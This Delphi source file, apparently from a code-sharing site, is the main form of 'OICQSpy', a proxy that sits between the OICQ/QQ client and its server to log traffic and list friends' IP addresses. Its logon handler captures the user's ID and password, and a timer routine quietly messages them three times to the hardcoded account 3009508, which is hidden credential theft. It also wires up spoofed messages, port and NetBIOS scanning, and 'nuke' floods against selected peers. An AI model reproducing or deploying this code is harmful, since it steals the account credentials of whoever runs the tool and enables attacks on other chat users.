Main.pas
上传用户:hbtcygglw
上传日期:2007-01-07
资源大小:281k
文件大小:24k
源码类别:

其他

开发平台:

Delphi

  1. unit Main;
  2. {$define FULLVERSION}
  3. //{$define REDUCE_VERSION}
  4. {$define SAFEVERSION}
  5. interface
  6. uses
  7.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  8.   NMUDP, StdCtrls, ExtCtrls, Spin, Buttons, ComCtrls, Menus,  NWNotifyIcon,
  9.   ImgList,WinSOCK, ToolWin,ProxySocket;
  10. type
  11.   TUserInfo=record
  12.     sock:TNMUDP;
  13.     strUID,strIP,strPort:string;
  14.     end;
  15.   TMainForm = class(TForm)
  16.     DataPanel: TPanel;
  17.     DataSplitter: TSplitter;
  18.     ViewSplitter: TSplitter;
  19.     ViewPanel: TPanel;
  20.     IPAddrList: TListBox;
  21.     AlertSplitter: TSplitter;
  22.     AnalyList: TListBox;
  23.     SendPage: TPageControl;
  24.     TabSheet1: TTabSheet;
  25.     LocalMsgList: TListBox;
  26.     TabSheet2: TTabSheet;
  27.     LocalTxtList: TListBox;
  28.     RecvPage: TPageControl;
  29.     TabSheet3: TTabSheet;
  30.     TabSheet4: TTabSheet;
  31.     SrvMsgList: TListBox;
  32.     SrvTxtList: TListBox;
  33.     mLocal: TPopupMenu;
  34.     mSrv: TPopupMenu;
  35.     N1: TMenuItem;
  36.     N2: TMenuItem;
  37.     N3: TMenuItem;
  38.     N4: TMenuItem;
  39.     SaveDlg: TSaveDialog;
  40.     MainMenu1: TMainMenu;
  41.     F1: TMenuItem;
  42.     O1: TMenuItem;
  43.     N5: TMenuItem;
  44.     mSysCfg: TMenuItem;
  45.     StatusBar: TStatusBar;
  46.     FakeUDP: TNMUDP;
  47.     N6: TMenuItem;
  48.     N7: TMenuItem;
  49.     N8: TMenuItem;
  50.     Timer: TTimer;
  51.     N9: TMenuItem;
  52.     N10: TMenuItem;
  53.     mViewSend: TMenuItem;
  54.     InfoMenu: TPopupMenu;
  55.     mClearInfo: TMenuItem;
  56.     mSaveInfo: TMenuItem;
  57.     TrayMenu: TPopupMenu;
  58.     N11: TMenuItem;
  59.     N12: TMenuItem;
  60.     N13: TMenuItem;
  61.     N14: TMenuItem;
  62.     N15: TMenuItem;
  63.     mFakeMsg: TMenuItem;
  64.     mScanIp: TMenuItem;
  65.     N16: TMenuItem;
  66.     mPortScanner: TMenuItem;
  67.     mNetBiosInfo: TMenuItem;
  68.     mViewRecv: TMenuItem;
  69.     mViewAlert: TMenuItem;
  70.     mScanNBInfo: TMenuItem;
  71.     mNuke: TMenuItem;
  72.     ImageList1: TImageList;
  73.     mHoldNuke: TMenuItem;
  74.     NetBIOS1: TMenuItem;
  75.     N17: TMenuItem;
  76.     ToolBar1: TToolBar;
  77.     ToolButton1: TToolButton;
  78.     btnFake: TToolButton;
  79.     btnPortScan: TToolButton;
  80.     btnBEUIInfo: TToolButton;
  81.     btnNuke: TToolButton;
  82.     btnLanuch: TToolButton;
  83.     ToolButton2: TToolButton;
  84.     btnFirstAid: TToolButton;
  85.     mFirstAid: TMenuItem;
  86.     NWNotifyIcon1: TNWNotifyIcon;
  87.     procedure LocalMsgListClick(Sender: TObject);
  88.     procedure N1Click(Sender: TObject);
  89.     procedure N3Click(Sender: TObject);
  90.     procedure SrvMsgListClick(Sender: TObject);
  91.     procedure LocalMsgListKeyDown(Sender: TObject; var Key: Word;
  92.       Shift: TShiftState);
  93.     procedure SrvMsgListKeyDown(Sender: TObject; var Key: Word;
  94.       Shift: TShiftState);
  95.     procedure N2Click(Sender: TObject);
  96.     procedure mSysCfgClick(Sender: TObject);
  97.     procedure FormCreate(Sender: TObject);
  98.     procedure btnFakeClick(Sender: TObject);
  99.     procedure IPAddrListDblClick(Sender: TObject);
  100.     procedure btnIPScanClick(Sender: TObject);
  101.     procedure N8Click(Sender: TObject);
  102.     procedure N5Click(Sender: TObject);
  103.     procedure TimerTimer(Sender: TObject);
  104.     procedure N9Click(Sender: TObject);
  105.     procedure mViewSendClick(Sender: TObject);
  106.     procedure btnPortScanClick(Sender: TObject);
  107.     procedure mClearInfoClick(Sender: TObject);
  108.     procedure N12Click(Sender: TObject);
  109.     procedure N14Click(Sender: TObject);
  110.     procedure mScanIpClick(Sender: TObject);
  111.     procedure mNetBiosInfoClick(Sender: TObject);
  112.     procedure btnBEUIInfoClick(Sender: TObject);
  113.     procedure mScanNBInfoClick(Sender: TObject);
  114.     procedure mViewRecvClick(Sender: TObject);
  115.     procedure mViewAlertClick(Sender: TObject);
  116.     procedure mNukeClick(Sender: TObject);
  117.     procedure btnNukeClick(Sender: TObject);
  118.     procedure btnLanuchClick(Sender: TObject);
  119.     procedure N15Click(Sender: TObject);
  120.     procedure LocalMsgListDblClick(Sender: TObject);
  121.     procedure SwitcherOnSend(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
  122.     procedure SwitcherOnRecv(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
  123.     procedure SwitcherOnNewSocket(Sender:TObject);
  124.     procedure btnFirstAidClick(Sender: TObject);
  125.     procedure FormDestroy(Sender: TObject);
  126.   private
  127.     { Private declarations }
  128.     mCurCnt,mTxCnt,mRxCnt:Integer;
  129.     strUserId,strPass:string;
  130.     nUserId:Integer;
  131.     info:array of TUserInfo;
  132.     nInfoCnt:Integer;
  133.     function FindUID(uid,ip,port:string):Boolean;
  134. {$ifndef SAFEVERSION}
  135.     function  FindProxy(ip:string;port:WORD;var p:TNMUDP):Boolean;
  136. {$ENDIF}
  137.     function GetSelectInfo(var id,ip,port:string):Boolean;
  138. //    procedure Txt2Buffer(str:string;var buf:array of char;var buflen:integer);
  139.     procedure ProcessSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;bufLen:Integer);
  140.     
  141.     procedure ProcessClientMsg(buf:array of char;buflen:Integer);
  142.     procedure AddLocalMsg(buf:array of char;buflen:Integer);
  143.         procedure AddLocalHex(buf:array of char;buflen:Integer);
  144.         procedure AddLocalTxt(buf:array of char;buflen:Integer);
  145.         procedure AddLocalList(buf:array of char;buflen:Integer);
  146.     procedure AddSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;buflen:Integer);
  147.         procedure AddSrvHex(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  148.         procedure AddSrvTxt(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  149.         procedure AddSrvList(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  150.     function BeforeSend(var buf:array of char;buflen:Integer):Boolean;
  151.     function AfterRecv(var buf:array of char;buflen:Integer):Boolean;
  152. //    procedure AddFriendIPAddr(id,ip:string);
  153.     procedure AddFriendInfo(id,ip,port,dummy,face,name:string);
  154.     procedure LaunchOICQ;
  155.   public
  156.     { Public declarations }
  157.     Switcher:TUDPSwitcher;
  158.     procedure SendMsg(DestId,msg:string);
  159.     
  160.     function Buffer2Hex(buf:array of char;buflen:integer):string;
  161.     function Buffer2Txt(buf:array of char;buflen:Integer):String;
  162.     function Buffer2List(buf:array of char;buflen:Integer):string;
  163.   end;
  164. var
  165.   MainForm: TMainForm;
  166. implementation
  167. uses IpHdr,FirstAid,SysCfg,fakemsg,PortScan,about,info,CloneScan,data,NetInfoDlg,HoldNuke,MsgView;
  168. {$R *.DFM}
  169. procedure TMainForm.ProcessSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; bufLen: Integer);
  170. var
  171. i:Integer;
  172. id,ip,port,dummy,face:string;
  173. begin
  174. if(Ord(buf[4])=$81)then{朋友登陆IP通知}
  175.     begin
  176.     i:=7;
  177.     while(i<buflen)do
  178.         begin
  179.         i:=GetParse(buf,buflen,i,id);
  180.         if(i=0)then exit;
  181.         i:=GetParse(buf,buflen,i,ip);
  182.         if(i=0)then exit;
  183.         i:=GetParse(buf,buflen,i,port);
  184.         if(i=0)then exit;
  185.         i:=GetParse(buf,buflen,i,dummy);
  186.         if(i=0)then exit;
  187.         i:=GetParse(buf,buflen,i,face);
  188.         AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
  189.         if(i=0)then exit;
  190. //        if(BotCfgDlg.GetGreetMsg(id,Msg))then
  191. //          begin
  192. //          SendMsg(id,Msg);
  193. //          end;
  194.         end;
  195.     end
  196. else if(Ord(buf[4])=$14)then//在线朋友IP通知
  197.     begin
  198.     i:=9;
  199.     while(i<buflen)do
  200.         begin
  201.         i:=GetParse(buf,buflen,i,id);
  202.         if(i=0)then exit;
  203.         i:=GetParse(buf,buflen,i,ip);
  204.         if(i=0)then exit;
  205.         i:=GetParse(buf,buflen,i,port);
  206.         if(i=0)then exit;
  207.         i:=GetParse(buf,buflen,i,dummy);
  208.         if(i=0)then exit;
  209.         i:=GetParse(buf,buflen,i,face);
  210.         AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
  211.         if(i=0)then exit;
  212. //        if(BotCfgDlg.GetGreetMsg(id,Msg))then
  213. //          begin
  214. //          SendMsg(id,Msg);
  215. //          end;
  216.         end;
  217.     end;
  218. end;
  219. procedure TMainForm.AddLocalMsg(buf: array of char; buflen: Integer);
  220. begin
  221. {$ifndef FULLVERSION}
  222. if(buf[4]=chr($13))then exit;
  223. {$endif}
  224. AddLocalHex(buf,buflen);
  225. AddLocalTxt(buf,buflen);
  226. AddLocalList(buf,buflen);
  227. end;
  228. procedure TMainForm.AddLocalHex(buf: array of char; buflen: Integer);
  229. begin
  230. LocalMsgList.Items.add(Buffer2Hex(Buf,buflen));
  231. end;
  232. procedure TMainForm.AddLocalList(buf: array of char; buflen: Integer);
  233. begin
  234. end;
  235. procedure TMainForm.AddLocalTxt(buf: array of char; buflen: Integer);
  236. begin
  237. LocalTxtList.Items.Add(Buffer2Txt(Buf,buflen));
  238. end;
  239. procedure TMainForm.AddSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; buflen: Integer);
  240. begin
  241. AddSrvHex(FromIP,FromPort,buf,buflen);
  242. AddSrvTxt(FromIP,FromPort,buf,buflen);
  243. AddSrvList(FromIP,FromPort,buf,buflen);
  244. end;
  245. procedure TMainForm.AddSrvHex(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  246. begin
  247. SrvMsgList.Items.Add(
  248.     'From '+
  249.     FromIp+':'+
  250.     IntToStr(FromPort)+
  251.     '---'+
  252.     Buffer2Hex(buf,buflen));
  253. end;
  254. procedure TMainForm.AddSrvList(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  255. begin
  256. end;
  257. procedure TMainForm.AddSrvTxt(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  258. begin
  259. SrvTxtList.Items.Add(
  260.         'From '+
  261.         FromIP+':'+
  262.         IntToStr(FromPort)+
  263.         '---'+
  264.         Buffer2Txt(buf,buflen));
  265. end;
  266. function TMainForm.Buffer2Hex(buf: array of char;buflen:integer): string;
  267. var
  268. i:Integer;
  269. str:String;
  270. begin
  271. for i:=0 to buflen do
  272.     begin
  273. //    str:=format('%02x',[ord(buf[i])]);
  274.     str:=IntToHex(ord(buf[i]),2);
  275.     Result:=Result+str+' ';
  276.     end;
  277. end;
  278. function TMainForm.Buffer2List(buf: array of char;
  279.   buflen: Integer): string;
  280. begin
  281. end;
  282. function TMainForm.Buffer2Txt(buf: array of char; buflen: Integer): String;
  283. var
  284. i:Integer;
  285. begin
  286. for i:=0 to buflen do
  287.     begin
  288.     if(buf[i] in ['`','~','!','@','#','$','%','^','&','*','(',')','-','_','=','+','','|'])then
  289.         begin
  290.         Result:=Result+buf[i];
  291.         end
  292.     else if((('0'<=buf[i])and(buf[i]<='9'))
  293.         or(('a'<=buf[i])and(buf[i]<='z'))
  294.         or(('A'<=buf[i])and(buf[i]<='Z')))then
  295.         begin
  296.         Result:=Result+buf[i];
  297.         end
  298.     else if((Ord(buf[i])>127)and (Ord(buf[i+1])>127))then
  299.         begin
  300.         Result:=Result+buf[i];
  301.         end
  302.     else
  303.         begin
  304.         Result:=Result+'.';
  305.         end;
  306.     end;
  307. end;
  308. procedure TMainForm.LocalMsgListClick(Sender: TObject);
  309. var
  310. i:Integer;
  311. begin
  312. i:=(Sender as TListBox).ItemIndex;
  313. LocalMsgList.ItemIndex:=i;
  314. LocalTxtList.ItemIndex:=i;
  315. end;
  316. procedure TMainForm.N1Click(Sender: TObject);
  317. begin
  318. LocalMsgList.Clear;
  319. LocalTxtList.Clear;
  320. mTxCnt:=0;
  321. end;
  322. procedure TMainForm.N3Click(Sender: TObject);
  323. begin
  324. SrvMsgList.Clear;
  325. SrvTxtList.Clear;
  326. mRxCnt:=0;
  327. end;
  328. procedure TMainForm.SrvMsgListClick(Sender: TObject);
  329. var
  330. i:Integer;
  331. begin
  332. i:=(Sender as TListBox).ItemIndex;
  333. SrvMsgList.ItemIndex:=i;
  334. SrvTxtList.ItemIndex:=i;
  335. end;
  336. procedure TMainForm.LocalMsgListKeyDown(Sender: TObject; var Key: Word;
  337.   Shift: TShiftState);
  338. var
  339. i:Integer;
  340. begin
  341. if(key=VK_DELETE)then
  342.     begin
  343.     if(LocalMsgList.Items.Count>0)then
  344.         begin
  345.         i:=(Sender as TListBox).ItemIndex;
  346.         LocalMsgList.Items.Delete(i);
  347.         LocalTxtList.Items.Delete(i);
  348.         LocalMsgList.ItemIndex:=i;
  349.         LocalTxtList.ItemIndex:=i;
  350.         end;
  351.     end;
  352. end;
  353. procedure TMainForm.SrvMsgListKeyDown(Sender: TObject; var Key: Word;
  354.   Shift: TShiftState);
  355. var
  356. i:Integer;
  357. begin
  358. if(Key=VK_DELETE)then
  359.     begin
  360.     if(SrvMsgList.Items.Count>0)then
  361.         begin
  362.         i:=(Sender as TListBox).ItemIndex;
  363.         SrvMsgList.Items.Delete(i);
  364.         SrvTxtList.items.Delete(i);
  365.         SrvMsgList.ItemIndex:=i;
  366.         SrvTxtList.ItemIndex:=i;
  367.         end;
  368.     end;
  369. end;
  370. procedure TMainForm.N2Click(Sender: TObject);
  371. begin
  372. if(SaveDlg.Execute)then
  373.     begin
  374.     if(Sender is TMenuItem)then
  375.         (
  376.             (
  377.                 (Sender as TMenuItem).GetParentMenu as TPopupMenu
  378.             ).PopupComponent as TListBox
  379.         ).Items.SaveToFile(SaveDlg.FileName);
  380.     end;
  381. end;
  382. function TMainForm.AfterRecv(var buf: array of char; buflen: Integer): Boolean;
  383. begin
  384. Result:=True;
  385. Inc(mRxCnt);
  386. StatusBar.Panels[1].Text:='Rx:'+IntToStr(mRxCnt);
  387. end;
  388. function TMainForm.BeforeSend(var buf: array of char;
  389.   buflen: Integer): Boolean;
  390. var
  391. i:WORD;
  392. begin
  393. i:=Ord(buf[5])*$100+Ord(buf[6]);
  394. mCurCnt:=i;
  395. StatusBar.Panels[2].Text:='MsgId:'+IntToHex(mCurCnt,4);
  396. Inc(mTxCnt);
  397. StatusBar.Panels[0].Text:='Tx:'+IntToStr(mTxCnt);
  398. Result:=True;
  399. end;
  400. procedure TMainForm.mSysCfgClick(Sender: TObject);
  401. begin
  402. if(TSysCfgDlg.Execute)then
  403.     begin
  404.     end;
  405. end;
  406. procedure TMainForm.FormCreate(Sender: TObject);
  407. var
  408. addr:TInAddr;
  409. begin
  410. {$ifdef REDUCE_VERSION}
  411. Caption:=Caption+'简版';
  412. {$endif}
  413. Width:=450;
  414. Height:=250;
  415. mCurCnt:=0;
  416. mTxCnt:=0;
  417. mRxCnt:=0;
  418. if(TSysCfgDlg.LoadConfig(GOICQPath,GDBFPath,GSrvIp,GSrvPort,GLocalPort,GAutoLaunch))then
  419.     begin
  420.     LoadIPInfo(GDBFPath);
  421.     end
  422. else if(TSysCfgDlg.Execute)then
  423.     //no config data so must run config dialog
  424.     begin
  425.     LoadIPInfo(GDBFPath);
  426.     end;
  427. {$ifndef FULLVERSION}
  428. mViewSend.Visible:=False;
  429. mViewRecv.Visible:=False;
  430. SendPage.Visible:=False;
  431. RecvPage.Visible:=False;
  432. {$endif}
  433. if(LookupName(GSrvIp,addr))then
  434.     begin
  435.     Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
  436.     Switcher.OnRecv:=SwitcherOnRecv;
  437.     Switcher.OnSend:=SwitcherOnSend;
  438.     Switcher.OnNewSocket:=SwitcherOnNewSocket;
  439.     if(GAutoLaunch)then LaunchOICQ;
  440.     end
  441. else
  442.     begin
  443.     ShowMessage('无法连接'+GSrvIp);
  444.     end;
  445. end;
  446. procedure TMainForm.btnFakeClick(Sender: TObject);
  447. begin
  448. {$ifndef REDUCE_VERSION}
  449. TFakeMsgDlg.Execute('','',4000);
  450. {$else}
  451. ShowMessage('对不起!简版没有此功能');
  452. {$endif}
  453. end;
  454. function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
  455. var
  456. s:string;
  457. p,i,sc:Integer;
  458. begin
  459. p:=0;
  460. sc:=1;
  461. SetLength(id,10);
  462. SetLength(ip,30);
  463. SetLength(port,6);
  464. for i:=1 to 10 do
  465.     begin
  466.     id[i]:=chr(0);
  467.     end;
  468. for i:=1 to 30 do
  469.     begin
  470.     ip[i]:=chr(0);
  471.     end;
  472. for i:=1 to 6 do
  473.     begin
  474.     port[i]:=chr(0);
  475.     end;
  476. if(IPAddrList.Items.Count<>0)then
  477.     begin
  478.     Result:=True;
  479.     s:=IPAddrList.Items[IPAddrList.ItemIndex];
  480.     for i:=1 to length(s) do
  481.         begin
  482.         if(s[i]<>'-')then
  483.             begin
  484.             if(p=0)then
  485.                 begin
  486.                 id[sc]:=s[i];
  487.                 Inc(sc);
  488.                 end
  489.             else if(p=3)then
  490.                 begin
  491.                 ip[sc]:=s[i];
  492.                 Inc(sc);
  493.                 end
  494.             else if(p=6)then
  495.                 begin
  496.                 port[sc]:=s[i];
  497.                 inc(sc);
  498.                 end
  499.             else break;
  500.             end
  501.         else
  502.             begin
  503.             Inc(p);
  504.             sc:=1;
  505.             end;
  506.         end;
  507.     end
  508. else Result:=False;
  509. end;
  510. procedure TMainForm.IPAddrListDblClick(Sender: TObject);
  511. {$ifndef REDUCE_VERSION}
  512. var
  513. id,ip,port:string;
  514. {$endif}
  515. begin
  516. {$ifndef REDUCE_VERSION}
  517. if(GetSelectInfo(id,ip,port))then
  518.     begin
  519.     TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
  520.     end;
  521. {$else}
  522. ShowMessage('对不起!简版没有此功能.');
  523. {$endif}
  524. end;
  525. procedure TMainForm.btnIPScanClick(Sender: TObject);
  526. begin
  527. TScannerDlg.Execute;
  528. end;
  529. procedure TMainForm.N8Click(Sender: TObject);
  530. begin
  531. Close;
  532. end;
  533. procedure TMainForm.N5Click(Sender: TObject);
  534. begin
  535. TAboutBox.Execute;
  536. end;
  537. procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
  538. var
  539. i:Integer;
  540. begin
  541. if(Ord(buf[4])=$13)then//User logon
  542.     begin
  543.     strUserId:='';
  544.     strPass:='';
  545.     i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
  546.     strUserId:=IntToStr(i);
  547.     MyId:=strUserId;
  548.     StatusBar.Panels[3].Text:='User Id:'+MyId;
  549.     for i:=13 to buflen-1 do
  550.         begin
  551.         if(Ord(buf[i])=$03)then break;
  552.         strPass:=strPass+buf[i];
  553.         end;
  554.     end;
  555. end;
  556. procedure TMainForm.SendMsg(DestId, msg: string);
  557. var
  558. pBuf:array [0..2048]of char;
  559. i:Integer;
  560. sock:TProxySock;
  561. begin
  562. for i:=0 to 2047 do
  563.     begin
  564.     pBuf[i]:=chr(0);
  565.     end;
  566. pBuf[0]:=chr(2);
  567. pBuf[1]:=chr(1);
  568. pBuf[2]:=chr(7);
  569. pBuf[3]:=chr(0);
  570. pBuf[4]:=chr($08);
  571. nUserId:=StrToInt(strUserId);
  572. pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
  573. pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
  574. pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
  575. pBuf[10]:=Chr((nUserId and $000000ff));
  576. i:=ArrayStrCopy(pBuf,2048,11,DestId);
  577. pBuf[i]:=chr($1f);
  578. pBuf[i+1]:='0';
  579. pBuf[i+2]:=chr($1f);
  580. i:=ArrayStrCopy(pBuf,2048,i+3,'0');
  581. pBuf[i]:=chr($1f);
  582. i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
  583. pBuf[i]:=chr($1f);
  584. i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
  585. pBuf[i]:=chr($1f);
  586. i:=ArrayStrCopy(pBuf,2048,i+1,msg);
  587. pBuf[i]:=chr($03);
  588. pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
  589. pBuf[6]:=chr(mCurCnt and $00ff);
  590. sock:=Switcher.GetExternalProxy(0);
  591. if(Assigned(sock))then
  592.     begin
  593.     sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
  594.     end;
  595. Inc(mCurCnt);
  596. end;
  597. procedure TMainForm.TimerTimer(Sender: TObject);
  598. begin
  599. Timer.Enabled:=False;
  600. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  601. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  602. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  603. end;
  604. procedure TMainForm.N9Click(Sender: TObject);
  605. begin
  606. ShowMessage('将OICQ的服务器改为:127.0.0.1 端口:8810'+#13
  607.     +'将其余服务器地址全部删除'+#13
  608.     +'关闭OICQ'+#13
  609.     +'启动OICQSpy'+#13
  610.     +'启动OICQ即可');
  611. end;
  612. procedure TMainForm.mViewSendClick(Sender: TObject);
  613. begin
  614. mViewSend.Checked:=not mViewSend.Checked;
  615. SendPage.Visible:=mViewSend.Checked;
  616. if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
  617.     begin
  618.     SendPage.Align:=alClient;
  619.     end
  620. else if(mViewSend.Checked and (SendPage.Align=alTop)
  621.     and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
  622.     begin
  623.     SendPage.Height:=DataPanel.Height div 2;
  624.     end;
  625. DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
  626. DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
  627. DataSplitter.Top:=RecvPage.top+2;
  628. ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
  629. ViewSplitter.Top:=ViewPanel.Top+1;
  630. if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
  631. else WindowState:=wsNormal;
  632. end;
  633. procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
  634. var
  635. s:string;
  636. ipInf:TIPInfo;
  637. begin
  638. IpInf:=FindIPInfo(ip);
  639. s:=IpInf.Country+','+IpInf.Location;
  640. if(not FindUID(id,ip,port))then
  641.     begin
  642.     Inc(nInfoCnt);
  643.     SetLength(info,nInfoCnt);
  644.     info[nInfoCnt-1].strUID:=id;
  645.     info[nInfoCnt-1].strIP:=ip;
  646.     info[nInfoCnt-1].strPort:=port;
  647. {$ifndef SAFEVERSION}
  648.     //Add msg handler
  649.     info[nInfoCnt-1].sock:=TNMUDP.Create(self);
  650.     info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
  651.     info[nInfoCnt-1].sock.RemotePort:=ClientPort;
  652.     info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
  653.     info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
  654. {$endif}    
  655.     //Display friend info
  656.     IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
  657.     end;
  658. end;
  659. procedure TMainForm.btnPortScanClick(Sender: TObject);
  660. begin
  661. TCloneScanDlg.Execute('127.0.0.1');
  662. end;
  663. function TMainForm.FindUID(uid,ip,port: string): Boolean;
  664. var
  665. i:Integer;
  666. begin
  667. Result:=False;
  668. for i:=0 to nInfoCnt-1 do
  669.     begin
  670.     if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
  671.         begin
  672.         Result:=True;
  673.         Break;
  674.         end;
  675.     end;
  676. end;
  677. procedure TMainForm.mClearInfoClick(Sender: TObject);
  678. begin
  679. IPAddrList.Items.Clear;
  680. nInfoCnt:=0;
  681. SetLength(info,0);
  682. end;
  683. procedure TMainForm.N12Click(Sender: TObject);
  684. begin
  685. TCloneScanDlg.Execute('127.0.0.1');
  686. end;
  687. procedure TMainForm.N14Click(Sender: TObject);
  688. begin
  689. Close;
  690. end;
  691. procedure TMainForm.mScanIpClick(Sender: TObject);
  692. var
  693. id,ip,port:string;
  694. begin
  695. if(GetSelectInfo(id,ip,port))then
  696.     TCloneScanDlg.Execute(ip);
  697. end;
  698. procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
  699. var
  700. id,port,ip:string;
  701. begin
  702. if(GetSelectInfo(id,ip,port))then
  703.     begin
  704.     TNetBiosInfoDlg.Execute(ip);
  705.     end;
  706. end;
  707. procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
  708. begin
  709. TNetBiosInfoDlg.Execute(GetLocalIP);
  710. end;
  711. procedure TMainForm.mScanNBInfoClick(Sender: TObject);
  712. begin
  713. TNetBiosInfoDlg.Execute(GetLocalIP);
  714. end;
  715. procedure TMainForm.mViewRecvClick(Sender: TObject);
  716. begin
  717. mViewRecv.Checked:=not mViewRecv.Checked;
  718. RecvPage.Visible:=mViewRecv.Checked;
  719. if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
  720.     begin
  721.     SendPage.Align:=alTop;
  722.     SendPage.Height:=DataPanel.Height div 2;
  723.     end
  724. else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
  725.     SendPage.Align:=alClient;
  726. DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
  727. DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
  728. DataSplitter.Top:=RecvPage.top+2;
  729. ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
  730. ViewSplitter.Top:=ViewPanel.Top+1;
  731. if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
  732. else WindowState:=wsNormal;
  733. end;
  734. procedure TMainForm.mViewAlertClick(Sender: TObject);
  735. begin
  736. mViewAlert.Checked:=not mViewAlert.Checked;
  737. AnalyList.Visible:=mViewAlert.Checked;
  738. AlertSplitter.Visible:=mViewAlert.Checked;
  739. if(mViewAlert.Checked)then
  740.     begin
  741.     Width:=Width+300;
  742.     AlertSplitter.Left:=AnalyList.Left-2;
  743.     end
  744. else
  745.     begin
  746.     Width:=Width-300;
  747.     end;
  748. end;
  749. procedure TMainForm.mNukeClick(Sender: TObject);
  750. {$ifndef REDUCE_VERSION}
  751. var
  752. id,ip,port:string;
  753. {$endif}
  754. begin
  755. {$ifndef REDUCE_VERSION}
  756. if(GetSelectInfo(id,ip,port))then
  757.     begin
  758.     THoldNukeDlg.Execute(id,'Loading Device=C:WindowsHIMEM.SYS'+#13,20);
  759.     end;
  760. {$else}
  761. ShowMessage('对不起!简版没有此功能.');
  762. {$endif}
  763. end;
  764. procedure TMainForm.btnNukeClick(Sender: TObject);
  765. begin
  766. {$ifndef REDUCE_VERSION}
  767. THoldNukeDlg.Execute('','',3);
  768. {$else}
  769. ShowMessage('对不起!简版没有此功能');
  770. {$endif}
  771. end;
  772. procedure TMainForm.btnLanuchClick(Sender: TObject);
  773. begin
  774. LaunchOICQ;
  775. end;
  776. procedure TMainForm.LaunchOICQ;
  777. begin
  778. WinExec(PChar(GOICQPath+'OICQ.EXE'),SW_SHOW);
  779. end;
  780. procedure TMainForm.N15Click(Sender: TObject);
  781. begin
  782. Show;
  783. end;
  784. {$ifndef SAFEVERSION}
  785. function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
  786. var
  787. i:Integer;
  788. begin
  789. Result:=False;
  790. for i:=0 to nInfoCnt-1 do
  791.     begin
  792.     if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
  793.         begin
  794.         Result:=True;
  795.         p:=info[i].sock;
  796.         Break;
  797.         end;
  798.     end;
  799. end;
  800. {$endif}
  801. procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
  802. begin
  803. TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
  804. end;
  805. procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
  806.   from, Dest: TSockAddr;var drop:Boolean);
  807. var
  808. uid:string;
  809. begin
  810. drop:=not AfterRecv(buf,buflen);
  811. if(not drop)then
  812.     begin
  813.     if(buflen>1024)then
  814.         begin
  815.         if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
  816.             begin
  817.             uid:=GetStrFromBuf(buf,buflen,10);
  818.             AnalyList.Items.Add('你被'+uid+'号用户攻击!!!(透过服务器)');
  819.             drop:=True;
  820.             end
  821.         else
  822.             begin
  823.             drop:=True;
  824.             AnalyList.Items.Add('你被IP地址为:'+inet_ntoa(from.sin_addr)+'端口为:'+IntToStr(ntohs(from.sin_port) )+'的用户攻击!!!(直接攻击)');
  825.             end;
  826.         MainForm.Show;
  827.         AnalyList.Visible:=True;
  828.         if(Width<700)then Width:=700;
  829.         end
  830.     else
  831.         begin
  832.         Drop:=False;
  833.         end;
  834.     end;
  835. AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
  836. ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
  837. end;
